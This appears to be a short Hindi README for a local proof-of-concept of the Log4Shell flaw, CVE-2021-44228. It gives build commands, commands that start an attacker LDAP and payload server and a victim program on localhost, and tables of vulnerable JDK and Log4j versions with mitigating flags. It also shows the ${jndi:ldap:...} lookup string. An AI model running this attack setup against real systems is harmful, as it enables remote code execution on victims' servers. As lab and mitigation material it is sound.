
CVE-2021-44228 का एक संक्षिप्त डेमो
CVE-2021-44228 का एक छोटा प्रदर्शन
$ mvn clean verify
$ java \
-cp 'attacker/target/sample-attacker.jar:attacker/target/lib/*' \
sample.attacker.Attacker localhost 1389 sample.payload.Payload 8080 payload/target/sample-payload.jar
URLs:
http://localhost:8080/http://localhost:8080/sample/payload/Payload.class$ java \
-cp 'victim/target/sample-victim.jar:victim/target/lib/*' \
sample.victim.Victim
| संस्करण | स्थिति |
|---|---|
Oracle JDK 8u5 | असुरक्षित |
OpenJDK 8u312 | सुरक्षित (जब तक -Dcom.sun.jndi.ldap.object.trustURLCodebase=true न हो) |
IBM OpenJDK 8u312-b07 (OpenJ9) | सुरक्षित (जब तक -Dcom.sun.jndi.ldap.object.trustURLCodebase=true न हो) |
OpenJDK 11.0.7+10 | सुरक्षित (जब तक -Dcom.sun.jndi.ldap.object.trustURLCodebase=true न हो) |
OpenJDK 11.0.13+8 | सुरक्षित (जब तक -Dcom.sun.jndi.ldap.object.trustURLCodebase=true न हो) |
OpenJDK 16+36 | सुरक्षित (जब तक -Dcom.sun.jndi.ldap.object.trustURLCodebase=true न हो) |
OpenJDK 17+35 | सुरक्षित (जब तक -Dcom.sun.jndi.ldap.object.trustURLCodebase=true न हो) |
OpenJDK 17.0.1+12 | सुरक्षित (जब तक -Dcom.sun.jndi.ldap.object.trustURLCodebase=true न हो) |
यदि सुरक्षित है, तो javax.naming.Context.lookup() से javax.naming.Reference का एक उदाहरण लौटाया जाता है।
यदि दूरस्थ कोड बेस से क्लास लोड करने के लिए असुरक्षित नहीं है, तो अन्य Java deserialization कमजोरियाँ संभवतः अभी भी मौजूद हैं!
| संस्करण | स्थिति |
|---|---|
2.9.1 | असुरक्षित |
2.10.0 | असुरक्षित (जब तक -Dlog4j2.formatMsgNoLookups=true या पर्यावरण चर LOG4J_FORMAT_MSG_NO_LOOKUPS=true न हो) |
2.14.1 | असुरक्षित (जब तक -Dlog4j2.formatMsgNoLookups=true या पर्यावरण चर LOG4J_FORMAT_MSG_NO_LOOKUPS=true न हो) |
2.15.0 | सुरक्षित |
यदि सुरक्षित है, तो ${jndi:ldap:...} हल नहीं किया जाता है।